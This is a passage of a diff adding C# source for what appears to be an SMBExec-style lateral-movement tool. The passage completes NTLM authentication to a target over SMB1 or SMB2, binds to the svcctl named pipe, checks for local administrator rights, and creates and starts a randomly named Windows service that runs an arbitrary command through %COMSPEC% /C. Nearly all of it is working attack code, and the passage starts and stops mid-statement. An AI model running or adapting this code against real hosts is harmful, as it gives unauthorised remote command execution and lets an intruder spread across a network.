.Concat(Auth_LM_Offset) + .Concat(NTLMv2_Response_Length) + .Concat(NTLMv2_Response_Length) + .Concat(Auth_NTLM_Offset) + .Concat(Auth_Domain_Length) + .Concat(Auth_Domain_Length) + .Concat(Auth_Domain_offset) + .Concat(Auth_Username_Length) + .Concat(Auth_Username_Length) + .Concat(Auth_Username_Offset) + .Concat(Auth_Hostname_Length) + .Concat(Auth_Hostname_Length) + .Concat(Auth_Hostname_Offset) + .Concat(SMB_Session_Key_Length) + .Concat(SMB_Session_Key_Length) + .Concat(SMB_Session_Key_offset) + .Concat(SMB_Negotiate_Flags) + .Concat(Auth_Domain_Bytes) + .Concat(Auth_Username_Bytes) + .Concat(Auth_Hostname_Bytes) + .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }) + .Concat(NTLMv2_Response).ToArray(); + if (ForceSMB1) + { + Packet_SMB_Header = new OrderedDictionary(); + SMB_User_ID = new byte[] { SMBClientReceive[32], SMBClientReceive[33] }; + Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x73 }, new byte[] { 0x18 }, new byte[] { 0x07, 0xc8 }, new byte[] { 0xff, 0xff }, Process_ID_Bytes, new byte[] { 0x00, 0x00 }); + + if (SMB_Signing) + { + Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; + } + + Packet_SMB_Header["SMBHeader_UserID"] = SMB_User_ID; + Packet_NTLMSSP_Negotiate = SMBExec.NTLMSSPAuth(NTLMSSP_response); + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + NTLMSSP_Negotiate = Utilities.ConvertFromPacketOrderedDictionary(Packet_NTLMSSP_Negotiate); + Packet_SMB_Data = SMBExec.SMBSessionSetupAndXRequest(NTLMSSP_Negotiate); + SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length); + + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray(); + } + else + { + SMB2_Message_ID += 1; + Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x01, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); + Packet_NTLMSSP_Auth = SMBExec.NTLMSSPAuth(NTLMSSP_response); + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + NTLMSSP_Auth = Utilities.ConvertFromPacketOrderedDictionary(Packet_NTLMSSP_Auth); + Packet_SMB2_Data = SMBExec.SMB2SessionSetupRequest(NTLMSSP_Auth); + SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length); + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray(); + } + + + + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + + if (ForceSMB1) + { + if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 9, 12)) == "00-00-00-00") + { + if (debug) { output.AppendLine("Authentication Successful"); } + Login_Successful = true; + } + else + { + output.AppendLine("Unable to authenticate to Target."); + return output.ToString(); + } + } + else + { + if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 12, 15)) == "00-00-00-00") + { + if (debug) { output.AppendLine("Authentication Successful"); } + Login_Successful = true; + } + else + { + output.AppendLine("Unable to Authenticate to Target."); + return output.ToString(); + } + } + + if (debug) { output.AppendLine(String.Format("Login Status: {0}", Login_Successful)); } + if (Login_Successful) + { + byte[] SMBExec_Command; + byte[] SMB_Path_Bytes; + string SMB_Path = "\\\\" + Target + "\\IPC$"; + + if (ForceSMB1) + { + SMB_Path_Bytes = Encoding.UTF8.GetBytes(SMB_Path).Concat(new byte[] { 0x00 }).ToArray(); + } + else + { + SMB_Path_Bytes = Encoding.Unicode.GetBytes(SMB_Path); + } + + byte[] SMB_named_pipe_UUID = { 0x81, 0xbb, 0x7a, 0x36, 0x44, 0x98, 0xf1, 0x35, 0xad, 0x32, 0x98, 0xf0, 0x38, 0x00, 0x10, 0x03 }; + byte[] SMB_Service_Bytes; + string SMB_Service = null; + if (string.IsNullOrEmpty(ServiceName)) + { + const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + var rand = new Random(); + SMB_Service = new string(Enumerable.Repeat(chars, 20).Select(s => s[rand.Next(s.Length)]).ToArray()); + SMB_Service_Bytes = Encoding.Unicode.GetBytes(SMB_Service).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); + } + else + { + SMB_Service = ServiceName; + SMB_Service_Bytes = Encoding.Unicode.GetBytes(SMB_Service); + if (Convert.ToBoolean(SMB_Service.Length % 2)) + { + SMB_Service_Bytes = SMB_Service_Bytes.Concat(new byte[] { 0x00, 0x00 }).ToArray(); + } + else + { + SMB_Service_Bytes = SMB_Service_Bytes.Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); + } + } + if (debug) { output.AppendLine(String.Format("Service Name is {0}", SMB_Service)); } + byte[] SMB_Service_Length = BitConverter.GetBytes(SMB_Service.Length + 1); + + if (ComSpec) + { + if (debug) { output.AppendLine("Appending %COMSPEC% /C"); } + + command = "%COMSPEC% /C \"" + command + "\""; + } + + byte[] commandBytes = Encoding.UTF8.GetBytes(command); + List SMBExec_Command_List = new List(); + foreach (byte commandByte in commandBytes) + { + SMBExec_Command_List.Add(commandByte); + SMBExec_Command_List.Add(0x00); + + } + byte[] SMBExec_Command_Init = SMBExec_Command_List.ToArray(); + + if (Convert.ToBoolean(command.Length % 2)) + { + SMBExec_Command = SMBExec_Command_Init.Concat(new byte[] { 0x00, 0x00 }).ToArray(); + } + else + { + SMBExec_Command = SMBExec_Command_Init.Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); + } + byte[] SMBExec_Command_Length_bytes = BitConverter.GetBytes(SMBExec_Command.Length / 2); + int SMB_Split_Index = 4256; + int SMB_Signing_Counter = 0; + byte[] SMB_Tree_ID = new byte[2]; + string SMB_Client_Stage_Next = ""; + if (ForceSMB1) + { + SMBClientStage = "TreeConnectAndXRequest"; + while (SMBClientStage != "exit" && SMBExec_Failed == false) + { + if (debug) { output.AppendLine(String.Format("Current Stage {0}", SMBClientStage)); } + switch (SMBClientStage) + { + case "TreeConnectAndXRequest": + { + Packet_SMB_Header = new OrderedDictionary(); + Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x75 }, new byte[] { 0x18 }, new byte[] { 0x01, 0x48 }, new byte[] { 0xff, 0xff }, Process_ID_Bytes, SMB_User_ID); + if (SMB_Signing) + { + Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; + SMB_Signing_Counter = 2; + SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signing_Sequence; + } + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + Packet_SMB_Data = SMBExec.SMBTreeConnectAndXRequest(SMB_Path_Bytes); + SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length); + + if (SMB_Signing) + { + SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).ToArray(); + SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign); + SMB_Signature2 = Utilities.GetByteRange(SMB_Signature, 0, 7); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signature2; + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + } + + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = "CreateAndXRequest"; + } + break; + case "CreateAndXRequest": + { + SMB_Named_Pipe_Bytes = new byte[] { 0x5c, 0x73, 0x76, 0x63, 0x63, 0x74, 0x6c, 0x00 }; //svcctl + SMB_Tree_ID = Utilities.GetByteRange(SMBClientReceive, 28, 29); + Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0xa2 }, new byte[] { 0x18 }, new byte[] { 0x02, 0x28 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID); + if (SMB_Signing) + { + Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; + SMB_Signing_Counter += 2; + SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signing_Sequence; + } + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + Packet_SMB_Data = SMBExec.SMBNTCreateAndXRequest(SMB_Named_Pipe_Bytes); + SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length); + + if (SMB_Signing) + { + SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).ToArray(); + SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign); + SMB_Signature2 = Utilities.GetByteRange(SMB_Signature, 0, 7); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signature2; + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = "RPCBind"; + + } + break; + case "RPCBind": + { + SMB_FID = Utilities.GetByteRange(SMBClientReceive, 42, 43); + Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x2f }, new byte[] { 0x18 }, new byte[] { 0x05, 0x28 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID); + if (SMB_Signing) + { + Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; + SMB_Signing_Counter += 2; + SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signing_Sequence; + } + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + Packet_RPC_Data = SMBExec.RPCBind(1, new byte[] { 0xb8, 0x10 }, new byte[] { 0x01 }, new byte[] { 0x00, 0x00 }, SMB_named_pipe_UUID, new byte[] { 0x02, 0x00 }); + RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data); + Packet_SMB_Data = SMBExec.SMBWriteAndXRequest(SMB_FID, RPC_Data.Length); + SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); + int RPC_Data_Length = SMB_Data.Length + RPC_Data.Length; + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, RPC_Data_Length); + + if (SMB_Signing) + { + SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).ToArray(); + + SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign); + SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signature; + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + } + + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = "ReadAndXRequest"; + SMB_Client_Stage_Next = "OpenSCManagerW"; + } + break; + case "ReadAndXRequest": + { + Thread.Sleep(sleep * 1000); + Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x2e }, new byte[] { 0x18 }, new byte[] { 0x05, 0x28 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID); + if (SMB_Signing) + { + Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; + SMB_Signing_Counter += 2; + SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signing_Sequence; + } + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + Packet_SMB_Data = SMBExec.SMBReadAndXRequest(SMB_FID); + SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length); + if (SMB_Signing) + { + SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).ToArray(); + SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign); + SMB_Signature2 = Utilities.GetByteRange(SMB_Signature, 0, 7); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signature2; + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = SMB_Client_Stage_Next; + } + break; + + case "OpenSCManagerW": + { + Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x2f }, new byte[] { 0x18 }, new byte[] { 0x05, 0x28 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID); + if (SMB_Signing) + { + Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; + SMB_Signing_Counter += 2; + SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signing_Sequence; + } + + Packet_SCM_Data = SMBExec.SCMOpenSCManagerW(SMB_Service_Bytes, SMB_Service_Length); + SCM_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SCM_Data); + Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x03 }, SCM_Data.Length, 0, 0, new byte[] { 0x01, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x0f, 0x00 }, null); + RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data); + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + Packet_SMB_Data = SMBExec.SMBWriteAndXRequest(SMB_FID, (RPC_Data.Length + SCM_Data.Length)); + SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); + int RPC_Data_Length = SMB_Data.Length + SCM_Data.Length + RPC_Data.Length; + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, RPC_Data_Length); + + if (SMB_Signing) + { + SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray(); + SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign); + SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signature; + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = "ReadAndXRequest"; + SMB_Client_Stage_Next = "CheckAccess"; + } + break; + case "CheckAccess": + { + if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 108, 111)) == "00-00-00-00" && BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 88, 107)) != "00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00") + { + SMB_Service_Manager_Context_Handle = Utilities.GetByteRange(SMBClientReceive, 88, 107); + if (SMB_execute) + { + Packet_SCM_Data = SMBExec.SCMCreateServiceW(SMB_Service_Manager_Context_Handle, SMB_Service_Bytes, SMB_Service_Length, SMBExec_Command, SMBExec_Command_Length_bytes); + SCM_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SCM_Data); + if (SCM_Data.Length < SMB_Split_Index) + { + SMBClientStage = "CreateServiceW"; + } + else + { + SMBClientStage = "CreateServiceW_First"; + } + } + else + { + output.AppendLine(String.Format("{0} is a local administrator on {1}", Output_Username, Target)); + SMB_Close_Service_Handle_Stage = 2; + SMBClientStage = "CloseServiceHandle"; + } + + } + else if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 108, 111)) == "05-00-00-00") + { + output.AppendLine(String.Format("{0} is not a local administrator or does not have the required privileges on {1}", Output_Username, Target)); + return output.ToString(); + } + else + { + if (debug) + { + output.AppendLine(BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 108, 111))); + output.AppendLine(BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 88, 107))); + } + output.AppendLine(String.Format("Something went wrong with {0}", Target)); + return output.ToString(); + } + + } + + break; + + case "CreateServiceW": + { + Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x2f }, new byte[] { 0x18 }, new byte[] { 0x05, 0x28 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID); + if (SMB_Signing) + { + Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; + SMB_Signing_Counter += 2; + SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signing_Sequence; + } + + Packet_SCM_Data = SMBExec.SCMCreateServiceW(SMB_Service_Manager_Context_Handle, SMB_Service_Bytes, SMB_Service_Length, SMBExec_Command, SMBExec_Command_Length_bytes); + SCM_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SCM_Data); + Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x03 }, SCM_Data.Length, 0, 0, new byte[] { 0x02, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x0c, 0x00 }, null); + RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data); + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + Packet_SMB_Data = SMBExec.SMBWriteAndXRequest(SMB_FID, RPC_Data.Length + SCM_Data.Length); + SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); + int RPC_Data_Length = SMB_Data.Length + SCM_Data.Length + RPC_Data.Length; + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, RPC_Data_Length); + + if (SMB_Signing) + { + SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray(); + SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign); + SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signature; + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = "ReadAndXRequest"; + SMB_Client_Stage_Next = "StartServiceW"; + } + break; + case "CreateServiceW_First": + { + SMB_Split_Stage_final = Math.Ceiling((double)SCM_Data.Length / SMB_Split_Index); + Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x2f }, new byte[] { 0x18 }, new byte[] { 0x05, 0x28 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID); + if (SMB_Signing) + { + Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; + SMB_Signing_Counter += 2; + SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signing_Sequence; + } + byte[] SCM_Data_First = Utilities.GetByteRange(SCM_Data, 0, SMB_Split_Index - 1); + Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x01 }, 0, 0, 0, new byte[] { 0x02, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x0c, 0x00 }, SCM_Data_First); + Packet_RPC_Data["RPCRequest_AllocHint"] = BitConverter.GetBytes(SCM_Data.Length); + SMB_Split_Index_Tracker = SMB_Split_Index; + RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data); + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + Packet_SMB_Data = SMBExec.SMBWriteAndXRequest(SMB_FID, RPC_Data.Length); + SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); + int RPC_Data_Length = SMB_Data.Length + RPC_Data.Length; + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, RPC_Data_Length); + + if (SMB_Signing) + { + SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).ToArray(); + SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign); + SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signature; + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + if (SMB_Split_Stage_final <= 2) + { + SMBClientStage = "CreateServiceW_Last"; + } + else + { + SMB_Split_Stage = 2; + SMBClientStage = "CreateServiceW_Middle"; + } + } + break; + case "CreateServiceW_Middle": + { + SMB_Split_Stage++; + Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x2f }, new byte[] { 0x18 }, new byte[] { 0x05, 0x28 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID); + if (SMB_Signing) + { + Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; + SMB_Signing_Counter += 2; + SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signing_Sequence; + } + byte[] SCM_Data_Middle = Utilities.GetByteRange(SCM_Data, SMB_Split_Index_Tracker, SMB_Split_Index_Tracker + SMB_Split_Index - 1); + SMB_Split_Index_Tracker += SMB_Split_Index; + Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x00 }, 0, 0, 0, new byte[] { 0x02, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x0c, 0x00 }, SCM_Data_Middle); + Packet_RPC_Data["RPCRequest_AllocHint"] = BitConverter.GetBytes(SCM_Data.Length - SMB_Split_Index_Tracker + SMB_Split_Index); + RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data); + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + Packet_SMB_Data = SMBExec.SMBWriteAndXRequest(SMB_FID, RPC_Data.Length); + SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); + int RPC_Data_Length = SMB_Data.Length + RPC_Data.Length; + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, RPC_Data_Length); + + if (SMB_Signing) + { + SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).ToArray(); + SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign); + SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signature; + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + if (SMB_Split_Stage >= SMB_Split_Stage_final) + { + SMBClientStage = "CreateServiceW_Last"; + } + else + { + SMBClientStage = "CreateServiceW_Middle"; + } + + } + break; + + case "CreateServiceW_Last": + { + Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x2f }, new byte[] { 0x18 }, new byte[] { 0x05, 0x48 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID); + if (SMB_Signing) + { + Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; + SMB_Signing_Counter += 2; + SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signing_Sequence; + } + byte[] SCM_Data_Last = Utilities.GetByteRange(SCM_Data, SMB_Split_Index_Tracker, SCM_Data.Length); + SMB_Split_Index_Tracker += SMB_Split_Index; + Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x02 }, 0, 0, 0, new byte[] { 0x02, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x0c, 0x00 }, SCM_Data_Last); + RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data); + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + Packet_SMB_Data = SMBExec.SMBWriteAndXRequest(SMB_FID, RPC_Data.Length); + SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); + int RPC_Data_Length = SMB_Data.Length + RPC_Data.Length; + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, RPC_Data_Length); + + if (SMB_Signing) + { + SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).ToArray(); + SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign); + SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signature; + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = "ReadAndXRequest"; + SMB_Client_Stage_Next = "StartServiceW"; + } + break; + + case "StartServiceW": + { + if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 112, 115)) == "00-00-00-00") + { + SMB_Service_Context_Handle = Utilities.GetByteRange(SMBClientReceive, 92, 111); + Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x2f }, new byte[] { 0x18 }, new byte[] { 0x05, 0x28 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID); + if (SMB_Signing) + { + Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; + SMB_Signing_Counter += 2; + SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signing_Sequence; + } + Packet_SCM_Data = SMBExec.SCMStartServiceW(SMB_Service_Context_Handle); + SCM_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SCM_Data); + Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x03 }, SCM_Data.Length, 0, 0, new byte[] { 0x03, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x13, 0x00 }, null); + RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data); + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + Packet_SMB_Data = SMBExec.SMBWriteAndXRequest(SMB_FID, RPC_Data.Length + SCM_Data.Length); + SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); + int RPC_Data_Length = SMB_Data.Length + SCM_Data.Length + RPC_Data.Length; + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, RPC_Data_Length); + + if (SMB_Signing) + { + SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray(); + SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign); + SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7); + Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signature; + SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, 